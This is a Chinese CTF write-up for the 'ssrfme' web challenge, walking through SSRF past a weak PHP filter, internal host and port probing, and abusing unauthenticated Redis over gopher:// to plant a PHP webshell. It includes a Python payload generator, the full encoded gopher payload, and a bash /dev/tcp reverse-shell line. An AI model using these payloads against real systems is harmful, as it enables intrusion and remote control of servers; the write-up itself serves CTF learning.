不知道本期比赛的web题目有没有让你做的摸不着头脑,感觉思路操作没问题呀,怎么就是没有成功。在开始看wp前,我们一起先来看一下这道题目在比赛过程中给出提示以及题目改变的地方。
1
【2022/2/21 14:10提示】
或许有一个redis,如果flag找不到,试试反弹个shell呢?
比赛最开始的时候,根目录下的flag文件放置了一个假的flag,需要选手使用反弹shell的方法去查找真正的flag。
2
【2022/2/21 21:30题目更新】
内网新增一批机器...
到后面比赛的时候,环境出现了一些问题,因为redis的权限控制不合理,导致无法成功写入shell,所以调整了比赛的环境,在内网的172.17.0.0段增加了十几台redis机器,并且将flag内容直接放在根目录下了。
微信公众号后台回复【2月公开赛web环境】即可获取比赛环境,wp见下。
【题目考查的技术点】
-
SSRF
-
redis未授权访问 -
SSRF攻击内网主机上的redis
【writeup for ssrfme】
进入题目即给出源码:
<?php
highlight_file(__file__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/file://|dict://|../|127.0.0.1|localhost/is', $url,$match))
{
die('No, No, No!');
}
curl($url);
}
if(isset($_GET['info'])){
phpinfo();
}
?>
如下测试,存在 ssrf:
但是源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。
目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能:
查看phpinfo,如下图,可以看到当前主机的内网ip为172.17.0.3:
然后我们便可以探测该网段上存活的主机了(可以用burp,但这里手动测试即可):
/search?url=http://172.17.0.1 # 无存活
/search?url=http://172.17.0.2 # 发现另一存活机器
/search?url=http://172.17.0.3 # 当前机器
当我们测试到 172.28.0.2 时,返回了“Go away”:
说明172.17.0.2是内网中存活的另一台主机,并且上面也运行着http服务。但是当前还不能找到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用burpsuite:
当测试到6379端口时发现了一个报错:
这是redis的报错,说明这台内网主机上还运行着redis服务。
redis 未授权访问攻击
接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用burp扫一下都有哪些目录,发现有个upload目录。
经测试upload目录下是可写的,步骤如下。
编写脚本生成payload:
import urllib
protocol="gopher://"
ip="172.17.0.2" # 运行着redis的内网主机ip
port="6379"
shell="nn<?php system("cat /flag");?>nn"
filename="bapp.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="rn"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
# 输出: gopher://172.17.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%248%0D%0Abapp.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
将生成的payload再次用url进行编码,然后发送过去:
<?php system("cat /flag");?>
/?url=http://172.17.0.2/bapp.php
我们也可以通过反弹shell来找flag。同样以上操作,会在这台内网主机的upload目录里写入一个happ.php,内容如下:
<?php system("bash -c 'exec bash -i >& /dev/tcp/ip/端口 0>&1'");?>
如上可以看到成功反弹。
原文始发于微信公众号(胖哈勃):2月公开赛writeup|Web-ssrfme
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论